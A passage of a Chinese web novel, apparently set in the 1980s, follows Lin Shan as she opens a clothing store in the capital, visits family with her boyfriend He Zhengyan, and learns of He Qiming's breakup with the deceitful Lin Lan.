“唉，我当时就应该明白，她就是准备骑着找马的，不然为什么不敢跟大家说明我们俩在处对象呢？后来我看见她老跟你在一块儿，就算心里吃醋，也还是傻乎乎以为你们俩真的是在交流学业。哼，我真是蠢啊。后来的事儿你不是很清楚嘛，她拿下了你，扭头就把我踹了。关键她踹我的时候，我还以为是自己的错，你说她厉不厉害？” 贺启明青筋暴起，怒火攻心，却硬逼着自己忍住动手撕了杨清明的冲动。 杨清明看贺启明气得不轻，顿时觉得他跟自己同是天涯沦落人，还小声劝道：“林兰个性很强的，她无论在哪儿，都一定要找最厉害的那个人当对象。以前是我，现在是你，以后也一定会换是别人的。唉，看开点儿吧师啊——” 贺启明一拳把杨清明抡倒在地，紧接着上去就是一通拳打脚踢，要不旁边有同学拦着，杨清明可就不止挂彩这么简单了。 原本从贺家回来就一直提心吊胆的林兰，一听说贺启明把杨清明给打了，立刻暗道坏了。她急匆匆地飞奔出去寻找贺启明，跑遍了整个学校，才终于在操场后面的一条小路上看见他。 “启明？启明……你怎么了？”林兰小心翼翼地靠近他，刚要伸手拉他的手，猛得被贺启明一把挥开。 林兰瞬间泪如雨下，“启、启明……” 贺启明猛地起身，一边拍着屁股上的土，一边冷声宣布：“咱俩分了。” “……什么？！启明！你在说什么啊？！你是不是听别人胡说什么了？那都是假的，假的啊！我是什么人你还不清楚吗？你听我说——” “够了。”贺启明从昨天晚上想到刚才，如果都这个时候了他还能再欺骗自己，那就纯属活该找罪受了，“咱不是一路人，好聚好散吧。” “启明！”林兰一把拽住他不让走，声泪俱下：“你不是说要跟我结婚吗？！现在都不算数了？！” 贺启明用力拨开林兰的手，头也不回地走了，任凭她在身后怎么哭喊，都没有回头看过一眼。 他只要看见林兰，满脑子就都是杨清明嘴里那些甜蜜的相处细节，他非常确定那杂碎没有说谎，因为那些事都是林兰对他做过的！ “启明……”林兰看着贺启明决绝的背影，缓缓地跌坐在地上，愤怒痛苦羞辱一时间袭满全身，轰得她红着眼仰天尖叫：“贺启明！你给我回来！” …… 林珊再次得到贺家的消息，是两天后。 贺正岩约她在科研所的老房子见面，说想给她做一顿云南那边的菜，什么没有汽锅的汽锅鸡，红三剁黑三剁之类的。 林珊知道他这是因为见他父亲的时候不是很愉快，所以还在想办法补偿自己。其实这几天他已经道过很多次歉了，尽管她已经过表示没关系，他却还是执意要表达一下心意。 林珊本来就没有什么不痛快的，再一见他这样的态度，心里就更加暖和了，一边帮他打下手，一边夸道：“这世界上还有你不会做的事儿吗？不但打仗厉害，做饭也这么好！” 贺正岩笑了，“我这叫会做饭？”他这么明显的一个生手，都能被她夸成这样。 林珊点头：“当然了，生疏是因为做得次数少，但是看你做饭的步骤和具体怎么的调味，就能看出来你既聪明又有天赋。” 贺正岩乐出声来，他都不知道自己还有这种天赋。不过头一次见她这么夸自己，心里还是挺开心的，干劲儿顿时又增加了一倍。 “你头发上有个东西。”他佯装要帮林珊整理头发，把人叫到面前，跟着趁她不注意，一口亲了上去。 “……”林珊惊讶地捂着脸，笑着嗔了他一眼。 贺正岩开心得像个得了宝的傻子，要不是手在忙，他还想好好搂搂她。 林珊看懂了他的意思，“快做！” 贺正岩哈哈一笑，听话得继续干活。 林珊上辈子吃过汽锅鸡，他的这个汽锅鸡，虽然没有特定的锅，但味道还是很不错的，红三剁吃起来酸香开胃，黑三剁咸香脆爽，吃起来很下饭。 “好吃！我看那些云南来的大厨都比不过你！”林珊毫不吝啬地夸了又夸，听得贺正岩都不好意思了，直接猛给她夹菜，让她快吃。 两人开心地吃着饭闲聊，谈谈工作，说说未来，不一会儿话题还扯到了贺启明身上。 “他跟林兰分了。”贺正岩觉得有必要把这个事儿提上一嘴，毕竟也 算家里人的一个态度。 “哦。”林珊点点头。 贺正岩笑了，“你早预料到了？” 林珊摇头，“我只是觉得很多事儿交给时间，一切就会有答案了。”凡走过必留痕迹，欺骗别人也只是能在一定的时间内造成一些信息差而已。终究还是那句话：真的假不了，假的真不了。 贺正岩同意得不能再同意了，路遥知马力日久见人心，他轻轻拍了拍林珊的脑袋，满心满眼都是爱慕。 其实贺启明跟他说的，还不只有他已经跟林兰分手的事儿，他还提到一个叫杨清明的人，说林珊之前跟他有点儿关系，简单说了一下这其中的渊源。 贺正岩当下只觉得那个杨清明和林兰不是东西，可夜里一想到林珊曾经喜欢过别人，心里就有些不是滋味。他都能闻见自己身上透着的酸气。 好在这酸气经过一晚上的扩散，让他清爽不少，尤其这会儿听见她那句“交给时间”之后，更是深表认同。她是什么人，他非常清楚，而且那个时候的喜欢，可能也只是闹着玩儿而已。 “你想什么呢？”林珊发现他看着自己竟然出神了。 贺正岩收回思绪，看着她白嫩的小脸，笑盈盈的目光，不知怎么的，脑子里的弦突然一松，竟然脱口而出：“我在吃醋。” “啊？”林珊大惊，这哪儿跟哪儿啊。 贺正岩想着既然已经提起来了，索性就直接招了，“我有点儿嫉妒你喜欢过别人。” 第113章 第113章 京市服装店 喜欢过别人？ “谁啊？”林珊一时脑袋有些短路。 “好像叫杨清明。” “……”林珊有点儿无语, 还以为谁呢，她瞬间一脸嫌弃：“他恶心个死人，谁会喜欢他啊, 看见他就想揍他两拳！” 贺正岩没想到提起这人，她会是这么个反应, 顿时既开心又有点儿困惑。 林珊知道穿书要替前人背锅，但她实在认不下曾经喜欢过那种傻子的事儿, “他追过我，后来追着追着就跟林兰好上了。好上之后不老老实实地待着, 非要跑我面前显摆晃悠, 一天到晚惹我，逼得我要告这俩人搞破鞋, 才让他们老实了一点儿。大概就是这么个事情, 你不会以为我真喜欢过他吧？” “……”贺正岩确实这么想过。 林珊快吐了, “就是天底下的人都死绝了，就剩下他一个男的, 好死不死我被迫肩负着延续全人类的职责, 我都不会看他一眼, 就让这个地球毁灭！彻底毁灭！” 贺正岩还从来没见她这么嫌弃过一个人，顿时觉得心旷神怡，哪还有半点儿醋意啊，一边笑着轻拍她的背，一边劝道：“好了, 别生气了。”毁灭地球都出来了, 她脑子里的东西真得太逗了。 林珊倒不是生气，她更多的是觉得恶心、晦气，侧头看了一眼刚才还声称吃醋的人, 她突然有点儿想笑：“你乐什么？这会儿不嫉妒了？” 贺正岩摇头：“我知道你看不上那种人。” “……”林珊嗔他一眼，不过心里其实能理解贺正岩的感受，如果现在让她听见他之前喜欢过别人，恐怕她心里也会有点儿不是滋味，尽管已经过去了。 不过既然话说到这儿了，林珊倒是想知道为什么他之前没喜欢过别人。 一般像他这种长得好、能力好、家世又好的男同志，身边一定会围绕着一些爱慕他们的女孩子，为什么她到现在一个也没听说过，还是说他刻意隐瞒了？ 贺正岩赶紧替自己澄清：“真没有隐瞒什么。这种事儿分人，有人喜欢身边有姑娘待着，我不喜欢罢了，心思也压根就不在这上头。” 林珊对贺正岩还是很信任的。看来这种事情跟一切外在都无关，纯粹看个人喜好，只要男人有那个心思，就是给他拴猪圈里，照样不老实。 她满意地夹了块鸡肉放进贺正岩碗里，心情非常愉悦。 贺正岩美滋滋地吃了，边吃还边冲她傻笑。 两人这顿饭吃得有点儿久，直到不能再继续停留之后，贺正岩才把人送回学校。 贺启明分手之后，有点像元气大伤了似的，一直在家待了两天才重新出门。好在他马上就毕业了，学校的事也处理得差不多了，不然贺振华又要骂人了。 张秀英最近跟贺振华的关系有点儿僵。确切地说，应该是贺振华单方面在冷她。 张秀英不确定他是在怪自己没把启明看好，还是知道她早听说了林家姐妹的事儿，不管是哪个原因，都够让她难受的。 原本想好好收拾一下林兰的，现在只能先收敛一下，暂时让人在那死丫头毕业分配的时候做些文章。幸亏启明没有糊涂到底，为了个姑娘跟她要死要活的，不然张秀英可就真得丢脸丢大了。 这回也不知道贺振华多久才能消气，唉，张秀英想起这个就头疼。 …… 时间很快进入六月，远在粤城的雷阿英独自完成了一次补货任务，不但数量款式全部正确，价格也比以往便宜一些。 这段时间她把粤城的供货渠道基本都搞清楚了，就连深城那边她也托关系摸了几趟路，还意外收获了一个进首饰的渠道。 林珊跟她几乎两三天就要通一个电话，细算起来比跟贺正岩说话的时间都多。 这中间阿英有寄过几件她自己看上的衣服过来，林珊收到之后大为赞赏，当即就通过了三件，准备下次补货的时候直接上。 阿英非常开心，觉得没有白白学习那些杂志。林珊说得太对了，人就是得学习，不管干哪一行。 这阵子她们不仅搞定了货源，就连货运路线，阿英都请她爸爸帮忙好好疏通了一下，这样一通操作下来，成本大幅度降低。 林珊盘算了一下时间，决定可以正式启动京市开服装店的项目了。 其实自从上大学开始，她就一直想要在首都开个大服装店，只是当时时机不成熟，只能先到处瞎逛。现在资金没有那么紧，服装渠道也稳定之后，就可以启动京市的第一家店了。 虽然她最希望开店的地方是城中心商业街那里，但是那种无论在哪个时代都寸土寸金的地方，没那么容易进去的。再加上她账上的资金也不是那么雄厚，所以目前根本没办法一步到位。 这第一家店，现在最适合开在西城区。这个区的商业活动非常多，很多老字号都开在这儿，现在的老百姓一说买东西，无非就是东、西两城。 东边暂时去不了，那就先去西边开。 林珊从学校这边坐公交车去西城非常方便，最近只要没事儿，她就会那边进一步考察店面。贺正岩有空的时候，也会陪着她一块儿逛，讲讲这地方的历史，说说那地方的规矩。 看到目前为止，只有两个门面稍微合适一些。一个在大路边上，人流量大，就是旁边主要是卖吃的，环境比较嘈杂。还有一个周围环境倒是不错，挨着个卖绸缎和卖钟表的店，但是房东人太傲了，一副爱答不理的样子，上来就要价5000一个月，少一分都不行。 林珊是要长期做生意的，门面合适，房东也得好相处才行，不然三天两头都是糟心事儿。 这两天她考虑了很久，勾勾画画又算了一大笔账，决定还是得继续寻找更合适的店面，那俩实在不行。 贺正岩恰好去延庆部队忙了两天，回来见林珊为难，刚发动朋友帮忙留意一下铺子，她那头却突然传来了好消息。 林珊的师姐李倩知道她找铺子受挫之后，突然想起大姑父的小舅子家有一个好铺子刚好要到期。于是李倩二话没说就把林珊给带了过去。 这门面位于西城南边一带，虽然没有在主干道边上，但是恰好处在一个岔路口，高峰时期的人流量也是很可观的，而且最关键的是，这地方前方不到一百米的地方，就是百货大楼的侧门！ 林珊最爱百货大楼附近的地盘，之前逛的时候也是首选这些地方，可惜当时不是没有空铺，就是价格太离谱，还有一个打着百货大楼附近的牌子，实际离人家有两里地！ 李倩亲戚家的这铺子，面积比之前看上的那两家都大，目测比安河的还要大上十几个平方。原来的租户是卖二手钢琴的，林珊去看铺子的时候，老板正在组织员工收拾东 西。 林珊跟人家简单聊了几句，得知这老板是觉得地方小，展示效果不好，所以才找了更大的地方。 林珊看着这又大又明亮的铺子，浑身每个细胞都在喊着“就它了”，这地方光临街的大窗户就有两个，格局四四方方，非常好装修改造。 收到她想租的意愿后，李倩的亲戚报了个熟人价，4500块一个月。 林珊回去考虑了一下，又打听了一下周边的价位后，果断同意了。不过由于她想签的是五年约，比别人多了三年，双方在经过一番讨价还价后，最终敲定4850块一个月，为期五年。 搞定店铺之后，林珊把这边的情况跟安河公司的人都说了一下，赵桂花就发愁：“你一个人又得上课，又得忙着弄服装店的事儿，这能行吗？” 林红怀孕了，没办法过去帮忙，赵福又在忙厂子的事儿，其他人也都各司其职，同样走不开。 林珊让她不用担心，她已经找好人了。 其实在找店面的阶段，林珊就把自己想找闫超帮忙的事儿说给贺正岩听了。毕竟明年就要开始做国债的买卖，现在抽空跟闫超熟悉一下，了解一下他的为人和能力，对林珊来说很有必要。 贺正岩把这件事告诉闫超之后，他立刻就高兴地飞奔过来了。闫超目前在粮油厂做零工，家里有个水果摊，平时为了补贴家用，他还会帮人家送送煤球，拉拉白菜。 他是家里老大，爹妈身体都不太好，两个弟弟还没娶着媳妇儿，一个妹妹还在上学，自己老婆又怀了孕，不努力挣钱不行啊。 一听林珊让他帮忙跑跑腿，就给出这么高的工资，他简直不敢相信自己的耳朵。直到贺正岩又跟他说了一遍，他这才确信一切都是真的，当即激动得跟什么似的，恨不得立刻就开干。 有了帮手，林珊做事就更加方便快捷了。这次的装修风格，大体上还是按照安河服装店的来，但是要再多加一些灯光和陈设空间。 之前在中关村开包子铺的时候，林珊认识了装修师傅王大军和他的小装修队。王大军手艺好，做工仔细，又是汉北老乡，所以这次林珊第一时间就去找他了。 王大军刚好上一个活儿要收尾了，说不出五天就能过来开干。林珊带着闫超跟他谈好方案、价钱和工期后，介绍大家伙认识了一下，方便日后干活。 装修定下来之后，就该定制家具了。 总给林珊家做家具的大爷可来不了京市，闫超就主动给她找了几位老师傅挑选。林珊看了几个样活儿，又挨个儿跟大家聊了聊之后，选择了手艺中上等，但是非常好沟通的那位吕大爷。 京市的老手艺人多，开价也高，她这服装店目前还用不上精雕细琢的宫廷工艺。她只需要师傅按照她画的图纸来进行操作就行了。 第114章 第114章 加速建设 七月初, 服装店正式开始装修。 林珊除了忙着考试的那几天，基本天天在店里和建材市场忙活。 全屋涂料选的是日本传过来的白色乳胶漆，地板她考虑来考虑去, 还是没有用地板砖，而是选了实木地板, 工字拼接。窗户全部换成单面大玻璃，大门则要重新定制、再装新锁。 京市的灯具选择性可比安河多多了, 林珊配合着几个展示区，全部都给安排了最适合的造型和亮度。 这次有两个橱窗要布置, 人体模特也要多进几个, 还要单独开辟出来一个配饰区，和客人单独休息落座的区域。地方不用很大, 但是功能要很明确。 既然服装店走得是高档路线, 就必须维护好客人进店之后的一切体验。 安河那边的服装店, 到目前为止已经基本建立起了自己的客户体系。她们的VIP客户享有优先选货、积分兑换和节假日赠送精美礼品的优惠。 因为受年代限制，目前还没办法像后世那些奢侈品店, 对VIC们提供其他更高端的服务, 但就是这样, 她们红珊服装店在安河，也已经快要把高端市场都攻占完了。 不仅营收持续高涨，衣服供不应求，环境和服务态度更是佳评如潮。 有了安河店的经验，林珊对京市这家店更加有把握, 她改良了一些细节, 又增加了不少设置，势必要打响在京市服装产业的第一炮。 营业执照再次是李倩爸爸帮的忙，再加上店面的事儿, 林珊为表谢意，请他们一家人去西餐厅吃了顿洋饭，还送了些汉北特产。虽然不是什么特别贵重的东西，但重在心意。 服装店按部就班得进展着，林珊也迎来了暑假。 尽管这边正在施工，她还是决定抽出时间回趟安河，看看赵桂花和林红，再查看一下食品厂的进展。 贺正岩正好有两天假期，不想让林珊去火车上人挤人，就准备开车送她回安河。反正只有三个小时的路程，而且确定关系之后，他还没有去看过林珊的家人，这回正好借着这个机会正式吃上一顿饭。 贺振华知道他要去安河，特地让人弄了两大箱京市特产给他装上车，还让他回来之后再带林珊回家吃饭。 贺正岩笑着应了。 当天早上从学校接到林珊后，两人一块儿踏上了回安河的国道。 “到家正好吃午饭，我妈说她要做一桌菜欢迎你！”林珊心情特别好，最近实在是太累了，能回家稍微歇歇脚，感觉就跟充电似的。 贺正岩笑道：“不用这么麻烦。” 林珊看着他乐：“我说了让她简单点儿，可是她一听你要来，激动得哟，感觉比看见我都要开心。” 贺正岩被逗笑了，忍不住伸手摸了摸林珊的脑袋。有时候觉得她像个小孩儿一样可爱，有时候又觉得她老练得像个做了十几年生意的人。很多变，很吸引人。 林珊现在已经渐渐习惯他动不动就摸摸头发捏捏脸了，只有两个人的时候，他更是还要抱着亲两下才行。她有时候也会忍不住想，男人到底是男人啊，尽管面上再刚正不阿，面对对象的时候，还是会露出最本能的一面。 其实跟贺正岩在一起很开心，比她想象中要快乐得多。有一个人可以分享每天身边发生事，感觉还挺奇妙的。考试的安排，开店的琐事，还有过一阵要干什么，她都说给他听了。 贺正岩比她想象中见识宽，知识面广，聊天的时候从来没有让林珊有觉得费劲的时候。倒是她自己有时候会不明白很多现在的隐形规则，需要他来解释一下。 路上，林珊提起了原本跟家里说好要带他们去京市旅游的事儿，结果现在又是建厂，又是开店，姐姐又怀孕了，压根儿没时间。 贺正岩也想劝林珊休息一下，可看她整天容光焕发，浑身都是使不完的劲儿，要真让她好好休息两天，恐怕也坐不住吧。 三个小时后，两人安全抵达安河。 邻居们一看林家门口停了辆京字牌照的吉普，纷纷好奇地跟赵桂花打听起来。 赵桂花正愁别人不知道她家又要多了一个预备好女婿，立刻笑呵呵地拉着贺正岩向众人展示：“这是我闺女的对象！京市部队的！怎么样？是不是一表人才！” “哎呦呦，真俊啊！小伙子真正周！桂花你好福气啊！” 赵桂花高兴地合不拢嘴，“我们小贺同志不仅人长得好，人品更是没得说！上回我家被劫道那事儿，就是他救得我们！” “哎呦！老天爷啊！还是救命恩人呢！小贺同志太英勇了！桂花你可真是太有福气了！两个女婿都这么好！” 赵桂花笑得开心，嘴上却感慨道：“唉，我们也是苦尽甘来啊，以前吃得苦多，才能有现在的日子。” 邻居们笑着说是，又围着贺正岩问东问西。尽管贺正岩还从来没有过这种体验，但对邻居们的提问也基本都是有问必答，这态度更是让大家赞不绝口，把他夸得都好上天了。 林珊在一旁看得想笑，林红和王军也都忍不住乐出声来。 最后还是赵福端着盘菜，提醒他大姑该开饭了，邻居们这才纷纷散去。 之前贺正岩过来的时候，身份都是客人。现在摇身一变成了林珊的对象，未来的丈母娘，姐姐姐夫和表哥表嫂们对他的态度，自然不一样了。客气还是客气，只是客气中多了很多属于自己人的亲密。 这一桌饭菜都是按照贺正岩和林珊的口味做的，赵桂花在她打电话说要带人回来的时候，就都打听好了。现在看见闺女跟贺正岩吃得都这么好，她心里别提多开心了。 林珊在京市开了包子铺后，就没有那么馋家里那一口了，不过赵桂花的饺子还是很香的，有一阵儿没吃了。她自己吃，也没忘了贺正岩，顺便也分了一颗给他。 赵桂花看见这一幕，忍不住笑了，孩子们感情好，相处得自然，她这个当妈的肯定高兴啊。 餐桌上，大家一开始还天南海北的聊着，结果说着说着不知谁起的头，慢慢就扯到工作上面了，到最后彻底变成了公司开会。 服装店的经营，厂子遇到的困难，银行那边的事儿，还有粤城的进货问题…… 一桌人几乎就贺正岩不是公司的，不过好在林珊几乎大致都跟他提过，倒也不至于一头雾水。贺正岩看着林珊处理着这些问题，再次体会到她是真得很聪明，很果断。 胡搅蛮缠的绝不姑息，宽厚老实的都能得到重用，赏罚非常分明，还有涉及到账的部分，那叫一个严格。其他人全部都习以为常，对她的话也没有异议。 很显然她这个公司虽然有很多亲戚在，但绝对不是那种家庭式的经营方式。贺正岩不知道她是怎么做到支了这么一大摊子，还能管理得这么井井有条的。同时学校的成绩又还名列前茅。 贺正岩没见过这种厉害的人，这会儿就这么看着她，真觉得她会发光，吸引着所有人的注意。 林珊不知道自己谈个事儿就又被他欣赏了，她满脑子都是如何规划好这两天的时间。 吃完午饭，林珊就马不停蹄地跟着赵福去工厂了。贺正岩这两天准备安心的给她当司机，她去哪儿，他就负责送哪儿。 两个月不见，大河村的厂子已经初具雏形。地圈了起来，围墙砌了起来，厂房也正在施工中。现在的工地是赵福在村里的好友赵大牛负责看着的，一见林珊过来，立刻小跑着过来打招呼。 建筑队他们找的是隔壁村的老手儿，大家都算知根知底，没什么坑蒙拐骗的勾当，做工也很仔细，再加上这个厂房也没有特别复杂的工艺，他们完全可以胜任。 林珊不太懂工程方面的事儿，但是贺正岩懂，他看看地基和砌得缝儿，就知道这建筑队挺靠谱。林珊瞧着工人们都大汗淋漓的，赶紧让赵大牛去搬了三箱病冰棍过来给大家解暑。 “设备的事儿都搞定了？”贺正岩拿着她塞给自己的冰棍，边撕纸边问。 林珊摇摇头，吃了口冰棍才说：“没有，跟两家工厂联系过，说买设备可以过去学习。”她打算让赵福都过去看看，择优选择。 贺正岩见她目前还没有定下来，就提了一嘴自己有几个朋友在鼓捣机械设备，如果她有需要的话，他可以帮忙问问。 林珊惊喜得不行，“那就太好了！你帮我问一下吧。”要是有合适的型号，又便宜得多，那账上的资金会宽松很多。至于技术问题，大不了单独出一笔培训费请人来教。 逛完了厂子之后，林珊又跟赵福商量了一下工厂日后的经营管理和制度建立的问题。 厂子除了加工底料，还要做辣椒酱。赵福虽然不知道这东西到底有什么好吃的，但是林珊说能卖，他就觉得一定能成。 厂房在设计的时候就是分开的，一个做加工车间，另一个做酱料生产车间。分两拨，相当于两个部门，目前暂时由赵福统一负责，之后肯定要各找管理人员。 加工车间的头儿从徐娟和薛凤琴中间选，酱料车间则需要继续寻觅人才。 公司越做越大，真得一年四季都在招人，建立一个兼顾招聘职责的行政部门很有必要。林珊得好好想想谁来负责这个比较合适。 第115章 第115章 安河小聚 林珊在公司一谈公事就谈到了天黑, 等终于有了空档，才注意到贺正岩坐在外间看资料。 她突然有点儿不好意思，赶紧走过去给他添了些水, 小声说道：“对不起啊，你好不容易来一趟, 我都没时间陪你出去逛逛。” 贺正岩笑着摇头，他才不在乎什么出去逛, 看她做事儿就挺有意思的，读她写得这些规章制度更是有趣。 “怎么样？暂时都搞定了？” “差不多吧。”林珊看了眼墙上的表, 发现公司人也都走得差不多了, “走，回去吃饭, 我妈让咱们最晚七点钟回去。” 贺正岩没意见, 把东西给她都放回原位后, 两人拉上林红一块儿离开了公司。 林红现在怀孕将近四个月，肚子处于微微隆起的状态, 要不是夏天衣服薄, 根本看不太出来。她从怀孕以后就被全家当成了熊猫, 每天饭不让做，活儿不让多干。 由于王大娘街道那边，最近在协助公安查户口，每天都是早出晚归的，伙食一般在单位就解决了, 赵桂花不想林红一个人在家做饭, 所以就让她每天回家吃，等王军下班后来接，两口子再一块儿回去。 林珊知道林红目前得状态很好, 没有什么不舒服的地方，孕吐之类的都很少，她很替她开心，算了算日子，“是不是一月份生啊？没过年，那就是属小兔子的？” “嗯，差不多吧，年前应该能生。”林红笑得一脸幸福。她跟王军都非常期待孩子的到来，虽然现在还不知道男女，但是只要健健康康的，他们就心满意足了。 王军分得房子明年六月左右下来，到时候孩子应该也快会爬了，搬家什么的，也不用担心惊到孩子。 早在三年前，林红可想象不到如今这种日子。现在虽然每天都很忙，但是不挨打、不受气，干什么都舒坦。前阵子家里还买了洗衣机，王军说不想让她跟婆婆累着，生生花了他好几个月工资。 林红想出钱，愣是被王军给拒绝了，说她的钱攒着自己花，他负责养家。 林珊之前在电话里听林红说过这事儿，她姐说的时候很甜蜜，她也知道这是王军疼媳妇儿，但是从客观角度来看，王军肯定觉得自己一个大男人，工作也不差，虽然老婆能挣，但他又不是没有，养家理所应当的。 林珊有点儿担心以后两口子收入差距越拉越大，一些不必要的矛盾会滋生出来。 所以吃过晚饭，趁王军还没来接林红，她悄悄把自己的想法说给她听。 “……你是想让王军入股？”林红一愣一愣的。 林珊笑着解释了一下，其实就是名义上让王军拿出点儿钱放公司，这样到时候给林红分钱的时候，就能对他说这里头也有他的份儿。 “为啥啊？”林红不明白好好的，为什么要弄这么一出。 林珊就给他讲了一下利害关系，男人的自尊，还有王军那个工作的危险性，“姐你说，咱自己的钱他不要，让他以后去拿别人的钱啊？我知道军哥不是那种人，但时代在发展，等身边的人都富裕了，住大别墅开小轿车的，就他还领个死工资的时候，人心是会容易不平衡的。” 林红不由得陷入沉思，好像是这么个礼儿啊。 “再说了，军哥这么能干，这么有前途，以后肯定能继续往上升，咱一定要给他做最坚强的后盾，不能让他被任何不怀好意的人腐蚀。有些干部一开始都可好了，后来就沉迷各种权钱和权色交易中了。” 林红被她吓了个够呛，恨不得立刻就让王军掏钱，“好，姐都听你的！” 林珊拍拍她的肩膀，安慰道：“我这也是未雨绸缪，况且咱家最开始卖包子的时候，军哥帮了咱多少忙啊，人不能忘恩负义。他大男人要自尊，不想用媳妇儿的钱，咱想个办法把钱都变成你们两口子的不就好了？” “是是是，你说得对。”林红拍拍胸口，觉得妹妹想得太周到了。怎么这有钱之后，也有有钱的烦恼啊。 林珊取得林红的同意后，等王军下班来接人得时候，就把这事儿说了。 王军跟想的一样，一开始拒绝得很坚决。后来经过林珊林红和赵桂花不停的劝说和洗脑，以及贺正岩在旁边给他鼓励的眼神后，终于沉默了。 他想了会儿，“这样吧，我先暂时出五千，明年再出一万，五年内凑够五万应该没问题。就要我三千块叫啥入股，我不好意思干吃分红，以前帮你们也不是图这个，不然那成啥了。” 林珊没想到他家底儿还挺多，于是笑着同意了，反正她的目的就是让王军接受股份，以后给出的红利肯定比这五万块多多了。 办了件大事，送走林红和王军后，林珊心情一直都非常好。 赵桂花把大门一锁，回来安排贺正岩睡得地方，“珊丫头那屋我都收拾好了，今天晚上你就去那儿凑活一宿吧。” 贺正岩求之不得，赵桂花在前面领路，根本没看见他都笑成什么样儿了，林珊眼尖，直接掐了他胳膊一下。 家里就四个房间，母女三人一人一间，还有一个储藏室，总不能让他睡林红那屋吧，所以只好林珊睡林红那儿，他睡她那儿了。 “麻烦您了。”贺正岩谢过赵桂花，礼貌又克制地维持着他以往的好形象。 赵桂花笑成了一朵花，颇有几分丈母娘看女婿，越看越满意的架势。安排好房间，她又叮嘱他们早点儿睡觉之后，自己就洗洗睡了。 林珊惊讶于桂花女士对俩人的信任。电视里不是老演那种，女儿把对象带回家，父母夜里还要防着俩人厮混的桥段吗？也不知道是桂花女士不走寻常路，还是两人平时的为人太正直了，导致她完全不担心这个。 不管怎么说，贺正岩很高兴能跟林珊独处。 他先是搂住她亲了两口，跟着就开始探索她的房间。 贺正岩对哪儿都非常好奇，一会儿看看林珊的书桌，一会儿摸摸她的衣柜门，一会儿又驻足在她墙上贴的地图前面，“你就是站在这儿规划自己事业蓝图的吧？”他笑着摸了摸地图上那些笔迹，有的地方写着“渠道”，有的地方写着“市场”，还有的打着问号。 林珊“嗯”了一声，“你不困啊？” “还行。”他还在对她笑。 林珊被他逗乐了，“有这么开心吗？” 贺正岩点点头，稍微收敛了一下，说：“我刚才挺羡慕王军的。” 他只比王军小个两三岁，人家马上孩子都有了。他这边最快也得等到林珊毕业，也就是说还有三年才能抱得美人归，正式跟她成为一家人。 “不用羡慕，该是你的就是你的，谁都夺不走。”林珊拍拍他的肩膀，故意这么说。 贺正岩笑了，“我对自己还是有点儿信心的。”说着，他又想过来亲她。 林珊笑着躲了过去，“好啦，早点儿睡！” 次日，林珊去了趟银行后，就跟贺正岩一块儿去买彩电了。 这两年家里换了吊扇，买了新锅炉，冰箱跟洗衣机也陆陆续续都配齐了，现在就缺一个电视机了。林珊主要是买给赵桂花解闷儿的，这年头已经有很多电视剧了，经典的《西游记》和《红楼梦》都出现了，再过两年，万人空巷的《渴望》也会出来。 除了丰富桂花女士的业余生活，林珊也想在过年的时候看看春晚。 这年头彩电依然非常紧俏，托了关系之后，林珊一共花了2800元，购买了一台十八英寸的彩电。 这小方块儿虽然没办法跟后世那些超清巨屏比，但在这个年代，可是个稀罕物。电视一买回来，就连隔壁的杨老太都过来了。 等电视机里的画面一出来，一直嚷嚷着“贵”的赵桂花再也不唠叨了，指着画面中的当红男星说：“诶诶诶诶，这不是那谁，上回咱这儿放的那个电影，那个高、高加林吗？！” 杨老太纠正她：“高加林是电影里的人名儿，人家本身不叫这个。” “哦哦是啊，反正是那个高加林吧？” “是，就是他！”红梅比桂花还激动。 “这是啥啊？他这回演得啥？” “不知道，看着像个干部。” 林珊瞧着她们三个对着电视聊得起劲，忍不住笑了，这跟后世和姐妹一起追剧的日子有什么不同。要不是还有事儿要做，林珊都想搬着小板凳，嗑着瓜子加入她们了。 不过彩电再吸引人注意，赵桂花也没忘了闺女明天一大早要回京市的事儿，不到饭点儿就去熬粥了，还出门买了两个大西瓜放水池冰着。 林珊趁着饭前这会儿空挡，去看了看郭有财。 郭有财一瞧她把对象都给带来了，就知道这是进展得相当顺利啊，心里替她高兴，嘴上却说：“来就来吧，还拿什么东西。” 林珊把糕点放下，笑道：“我哪能那么没礼貌啊，都是您爱吃的口味。” 郭有财一看还真都是他爱吃的桂花糕黄豆糕，心情更好了，“听说你跟雷家闺女合伙得还挺好？” “是还不错。我过几天要再去趟粤城，您有什么要带的吗？” 郭有财摇头：“不用了，我后天要过去。” 最近粤城那边出了些事儿，他得亲自过去看看，不过这就不用对林珊说了。郭有财听说她最近在京市也开了服装店，忍不住竖起了大拇指。 “你是个好样儿的，好好干！” 第116章 第116章 陆续筹备中 林珊不知道郭家陷入了麻烦, 看完人之后就回家喝小米粥、吃西瓜去了。 次日一早，她跟贺正岩回到京市后，直接奔服装店查看情况了。这两天的施工进度很不错, 需要的建材也还没用完，林珊跟闫超聊了一会儿, 又记了张清单后，才回到科研所的房子。 现在是暑假, 学校宿舍楼基本都快空了，她每天早出晚归的也不方便, 所以就暂时住在了这里。 贺正岩再三叮嘱她要锁好门窗, 林珊笑着应了。这家属院其实很安全，进来是要查人的, 周围的环境也很好, 不远处就是区公安局。她要是坏人, 也不会选择这种地方作案的。 不过林珊还是照做，每晚都会严格检查门窗。 “我明天得去延庆, 待一个礼拜左右, 回来之后还要去房山再待个四五天, 你这儿要是有急事儿就去找顾康和卢学军。”贺正岩抱着她交代道。 林珊点点头：“好的，辛苦你了。” 贺正岩笑了，“你这么厉害，我也得配得上你才行啊。”部队目前正在大规模改革，到处都是问题, 理论必须结合实践才能得出真理。 林珊拍拍他的背, “越来越会说了，贺领导。” “你啊。”贺正岩乐着揉了揉她的脑袋。 …… 服装店的装潢进展得很顺利，接下来的就是进货和招聘了。 林珊把招工启事一贴, 闫超就来找她了，“嫂子，我有个堂妹，条件都符合上面说的这些，能让她过来试一下吗？” “当然了，不过咱还是丑话说前面，任何人都要遵守服装店的规章制度。” “那一定！一定！” 闫超介绍的是他大伯家的堂妹闫青，只比他小一岁，今年26了，高中毕业，在煤球厂上好几年班了，天天累死累活，又脏得要死，一个月才拿 那么点儿钱。 煤球厂虽然是个铁饭碗，但架不住林珊这儿一个普通售货员的工资就是闫青的三倍，更别说还有提成了。 闫超回去一说，全家立刻举双手赞成，最同意的就属大伯娘了，她一直觉得自家闺女二十六了还没个对象，都是在煤球厂干活儿的错。女孩子家天天灰头土脸的，哪儿能找到好对象。 去服装店多好，又漂亮，接触的人又多。 